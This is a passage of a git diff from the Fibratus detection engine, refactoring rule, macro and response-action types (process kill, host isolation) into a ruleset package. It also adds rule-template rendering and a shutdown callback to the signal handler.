buf) +} + +// renderTmpl executes templating directives in the +// rule yaml file. It returns the byte slice +// with yaml content after template expansion. +func renderTmpl(filename string, b []byte) ([]byte, error) { + tmpl, err := template.New(filename).Funcs(sprig.FuncMap()).Parse(string(b)) + if err != nil { + return nil, cleanupParseError(filename, err) + } + var w bytes.Buffer + // force strict keys presence + tmpl.Option("missingkey=error") + err = tmpl.Execute(&w, nil) + if err != nil { + return nil, cleanupParseError(filename, err) + } + return w.Bytes(), nil +} + +func cleanupParseError(filename string, err error) error { + if err == nil { + return nil + } + tokens := strings.Split(err.Error(), ": ") + if len(tokens) < 2 { + // This might happen if a non-templating error occurs + return fmt.Errorf("syntax error in (%s): %s", filename, err) + } + // The first token is "template" + // The second token is either "filename:lineno" or "filename:lineNo:columnNo" + location := tokens[1] + key := tokens[2] + i := strings.Index(key, "at") + if i > 0 { + key = key[i+3:] + } + var errMsg string + if len(tokens) > 4 { + errMsg = strings.Join(tokens[3:], ": ") + } else { + errMsg = tokens[len(tokens)-1] + } + return fmt.Errorf("syntax error in (%s) at %s: %s", location, key, errMsg) +} diff --git a/pkg/rules/loader_test.go b/pkg/rules/loader_test.go new file mode 100644 index 000000000..6ec6b0961 --- /dev/null +++ b/pkg/rules/loader_test.go @@ -0,0 +1,19 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package rules diff --git a/pkg/rules/sequence.go b/pkg/rules/sequence.go index d5bcf2ff4..1ac4507b5 100644 --- a/pkg/rules/sequence.go +++ b/pkg/rules/sequence.go @@ -21,18 +21,19 @@ package rules import ( "context" "expvar" + "sort" + "sync" + "sync/atomic" + "time" + fsm "github.com/qmuntal/stateless" - "github.com/rabbitstack/fibratus/pkg/config" "github.com/rabbitstack/fibratus/pkg/event" "github.com/rabbitstack/fibratus/pkg/event/params" "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/filter/ql" "github.com/rabbitstack/fibratus/pkg/ps" + "github.com/rabbitstack/fibratus/pkg/ruleset" log "github.com/sirupsen/logrus" - "sort" - "sync" - "sync/atomic" - "time" ) const ( @@ -118,11 +119,11 @@ type sequenceState struct { psnap ps.Snapshotter } -func newSequenceState(f filter.Filter, c *config.FilterConfig, psnap ps.Snapshotter) *sequenceState { +func newSequenceState(f filter.Filter, r *ruleset.Rule, psnap ps.Snapshotter) *sequenceState { ss := &sequenceState{ filter: f, seq: f.GetSequence(), - name: c.Name, + name: r.Name, maxSpan: f.GetSequence().MaxSpan, partials: make(map[int][]*event.Event), states: make(map[fsm.State]bool), diff --git a/pkg/ruleset/action.go b/pkg/ruleset/action.go new file mode 100644 index 000000000..b0824b1a6 --- /dev/null +++ b/pkg/ruleset/action.go @@ -0,0 +1,66 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package ruleset + +import ( + "net" + + "github.com/rabbitstack/fibratus/pkg/event" + "github.com/rabbitstack/fibratus/pkg/util/convert" +) + +// RuleAction wraps all possible rule actions. +type RuleAction any + +// KillAction defines an action for killing the process. +type KillAction struct{} + +// IsolateAction defines an action for isolating the host +// via firewall rules. +type IsolateAction struct { + // Whitelist contains IP addresses that should remain accessible. + Whitelist []net.IP `mapstructure:"whitelist"` +} + +// ActionContext is the convenient structure +// for grouping the event that resulted in +// matched rule along with rule information. +type ActionContext struct { + // Events contains a single element for simple rules + // or a list of ordered matched events for sequence + // rules + Events []*event.Event + // Filter represents the rule that matched the event + Rule *Rule +} + +// UniquePids returns a set of process identifiers +// from each matched event to be used in actions +// such as the process kill action. +func (ctx *ActionContext) UniquePids() []uint32 { + pids := make(map[uint32]struct{}) + for _, e := range ctx.Events { + if e.IsCreateProcess() { + pids[e.Params.MustGetPid()] = struct{}{} + } else { + pids[e.PID] = struct{}{} + } + } + return convert.MapKeysToSlice(pids) +} diff --git a/pkg/ruleset/macro.go b/pkg/ruleset/macro.go new file mode 100644 index 000000000..107477065 --- /dev/null +++ b/pkg/ruleset/macro.go @@ -0,0 +1,28 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package ruleset + +// Macro represents the state of the rule macro. Macros +// either expand to expressions or lists. +type Macro struct { + ID string `json:"macro" yaml:"macro"` + Description string `json:"description" yaml:"description"` + Expr string `json:"expr" yaml:"expr"` + List []string `json:"list" yaml:"list"` +} diff --git a/pkg/ruleset/rule.go b/pkg/ruleset/rule.go new file mode 100644 index 000000000..71c13e3e9 --- /dev/null +++ b/pkg/ruleset/rule.go @@ -0,0 +1,94 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package ruleset + +import "github.com/rabbitstack/fibratus/pkg/config" + +type RuleType uint8 + +const ( + BehaviourRule RuleType = 1 + iota + YaraRule +) + +// Rule describes all the necessary attributes of the rule. +type Rule struct { + ID string `json:"id" yaml:"id"` + Type RuleType `json:"-" yaml:"-"` + Name string `json:"name" yaml:"name"` + Description string `json:"description" yaml:"description"` + Version string `json:"version" yaml:"version"` + Condition string `json:"condition" yaml:"condition"` + Action []RuleAction `json:"action" yaml:"action"` + Output string `json:"output" yaml:"output"` + Severity string `json:"severity" yaml:"severity"` + Labels map[string]string `json:"labels" yaml:"labels"` + Tags []string `json:"tags" yaml:"tags"` + References []string `json:"references" yaml:"references"` + Notes string `json:"notes" yaml:"notes"` + MinEngineVersion string `json:"min-engine-version" yaml:"min-engine-version"` + Enabled *bool `json:"enabled" yaml:"enabled"` + Authors []string `json:"authors" yaml:"authors"` + Patterns string `json:"-" yaml:"-"` + Imports []string `json:"-" yaml:"-"` +} + +// IsDisabled determines if this rule is disabled. +func (r Rule) IsDisabled() bool { return r.Enabled != nil && !*r.Enabled } + +// IsBehaviour determines if this is behaviour rule. +func (r Rule) IsBehaviour() bool { return r.Type == BehaviourRule } + +// HasLabel determines if the rule has the given label. +func (f Rule) HasLabel(l string) bool { return f.Labels[l] != "" } + +// DecodeActions converts the raw map to typed action structures. +func (r Rule) DecodeActions() ([]any, error) { + actions := make([]any, 0, len(r.Action)) + + decode := func(m map[string]any, o any) error { + err := config.Decode(m, &o) + if err != nil { + return err + } + actions = append(actions, o) + return nil + } + + for _, act := range r.Action { + m, ok := act.(map[string]any) + if !ok { + continue + } + switch m["name"] { + case "kill": + var kill KillAction + if err := decode(m, kill); err != nil { + return nil, err + } + case "isolate": + var isolate IsolateAction + if err := decode(m, isolate); err != nil { + return nil, err + } + } + } + + return actions, nil +} diff --git a/pkg/ruleset/ruleset.go b/pkg/ruleset/ruleset.go new file mode 100644 index 000000000..53041acda --- /dev/null +++ b/pkg/ruleset/ruleset.go @@ -0,0 +1,223 @@ +/* + * Copyright 2021-present by Nedim Sabic Sabic + * https://www.fibratus.io + * All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package ruleset + +import ( + "fmt" + "slices" + "strings" + + rulesapi "github.com/rabbitstack/fibratus/api/protobuf/rules/v1" + "github.com/rabbitstack/fibratus/pkg/event" +) + +type RuleSet struct { + Macros map[string]*Macro + Rules []*Rule +} + +type Subscriber interface { + Compile(*RuleSet) (*CompileResult, error) +} + +func New() *RuleSet { + return &RuleSet{ + Macros: make(map[string]*Macro), + Rules: make([]*Rule, 0), + } +} + +func (rs *RuleSet) AddRule(r *Rule) { + rs.Rules = append(rs.Rules, r) +} + +func (rs *RuleSet) AddMacro(m *Macro) { + rs.Macros[m.ID] = m +} + +func (rs *RuleSet) AddMacros(macros ...Macro) { + for _, m := range macros { + rs.AddMacro(&m) + } +} + +func (rs *RuleSet) HasMacros() bool { return len(rs.Macros) > 0 } + +func (rs *RuleSet) GetMacro(id string) *Macro { return rs.Macros[id] } + +func (rs *RuleSet) IsMacroList(id string) bool { + macro, ok := rs.Macros[id] + if !ok { + return false + } + return macro.List != nil +} + +// FromProto converts the ruleset from the protobuf structure. +func (rs *RuleSet) FromProto(ruleset *rulesapi.RuleSet) { + rs.Rules = make([]*Rule, 0, len(ruleset.Rules)) + rs.Macros = make(map[string]*Macro, len(ruleset.Macros)) + + for _, m := range ruleset.Macros { + macro := &Macro{ + ID: m.Id, + } + if m.Description != nil { + macro.Description = *m.Description + } + if len(m.List) > 0 { + macro.List = m.List + } else { + macro.Expr = m.Expr + } + rs.AddMacro(macro) + } + for _, r := range ruleset.Rules { + var typ RuleType + switch r.Type { + case rulesapi.Type_TYPE_BEHAVIOUR: + typ = BehaviourRule + case rulesapi.Type_TYPE_YARA: + typ = YaraRule + } + rule := &Rule{ + ID: r.Id, + Type: typ, + Name: r.Name, + Condition: r.Condition, + Version: r.Version, + MinEngineVersion: r.MinEngineVersion, + Enabled: &r.Enabled, + } + rs.AddRule(rule) + } +} + +// ToProto converts the ruleset to protobuf structure. +func (rs *RuleSet) ToProto() *rulesapi.RuleSet { + rules := make([]*rulesapi.Rule, 0, len(rs.Rules)) + macros := make([]*rulesapi.Macro, 0, len(rs.Macros)) + + for _, m := range rs.Macros { + macro := &rulesapi.Macro{ + Id: m.ID, + Description: &m.Description, + } + if len(m.List) > 0 { + macro.List = m.List + } else { + macro.Expr = m.Expr + } + macros = append(macros, macro) + } + + for _, r := range rs.Rules { + rule := &rulesapi.Rule{ + Id: r.ID, + Type: rulesapi.Type_TYPE_BEHAVIOUR, + Name: r.Name, + Condition: r.Condition, + Version: r.Version, + MinEngineVersion: r.MinEngineVersion, + } + if r.Enabled != nil && !*r.Enabled { + rule.Enabled = false + } else { + rule.Enabled = true + } + rules = append(rules, rule) + } + + return &rulesapi.RuleSet{ + Macros: macros, + Rules: rules, + } +} + +// IsEmpty returns true if the ruleset doesn't contain any rules. +func (rs *RuleSet) IsEmpty() bool { + return len(rs.Rules) == 0 +} + +// CompileResult contains the stats of the +// compiled ruleset, like which event types or +// categories are used. This information permits +// enabling/disabling event providers/types +// dynamically. +type CompileResult struct { + HasProcEvents bool + HasThreadEvents bool + HasImageEvents bool + HasFileEvents bool + HasNetworkEvents bool + HasRegistryEvents bool + HasHandleEvents bool + HasMemEvents bool + HasVAMapEvents bool + HasDNSEvents bool + HasAuditAPIEvents bool + HasThreadpoolEvents bool + UsedEvents []event.Type + NumberRules int +} + +func (r CompileResult) ContainsEvent(typ event.Type) bool { + return slices.Contains(r.UsedEvents, typ) +} + +func (r CompileResult) String() string { + m := map[string]bool{} + events := make([]string, 0) + for _, typ := range r.UsedEvents { + if m[typ.String()] { + continue + } + events = append(events, typ.String()) + m[typ.String()] = true + } + slices.Sort(events) + return fmt.Sprintf(` + HasProcEvents: %t + HasThreadEvents: %t + HasImageEvents: %t + HasFileEvents: %t + HasRegistryEvents: %t + HasNetworkEvents: %t + HasHandleEvents: %t + HasMemEvents: %t + HasVAMapEvents: %t + HasAuditAPIEvents: %t + HasDNSEvents: %t + HasThreadpoolEvents: %t + Events: %s`, + r.HasProcEvents, + r.HasThreadEvents, + r.HasImageEvents, + r.HasFileEvents, + r.HasRegistryEvents, + r.HasNetworkEvents, + r.HasHandleEvents, + r.HasMemEvents, + r.HasVAMapEvents, + r.HasAuditAPIEvents, + r.HasDNSEvents, + r.HasThreadpoolEvents, + strings.Join(events, ", "), + ) +} diff --git a/pkg/util/signals/signals.go b/pkg/util/signals/signals.go index d7670af07..85b16c708 100644 --- a/pkg/util/signals/signals.go +++ b/pkg/util/signals/signals.go @@ -19,12 +19,15 @@ package signals import ( - log "github.com/sirupsen/logrus" - "golang.org/x/sys/windows" "os" "os/signal" + + log "github.com/sirupsen/logrus" + "golang.org/x/sys/windows" ) +var f func() + // Install setups the signal handler. Returns a blocking // channel which receives an input after Interrupt or Term // signals are triggered. @@ -37,8 +40,17 @@ func Install() chan struct{} { go func() { sig := <-sigCh log.Infof("got signal %q, shutting down...", sig) + if f != nil { + f() + } stopCh <- struct{}{} }() return stopCh } + +// SetCancelFunc assigns a function to be invoked +// when the signal is broadcast. +func SetCancelFunc(fn func()) { + f = fn +}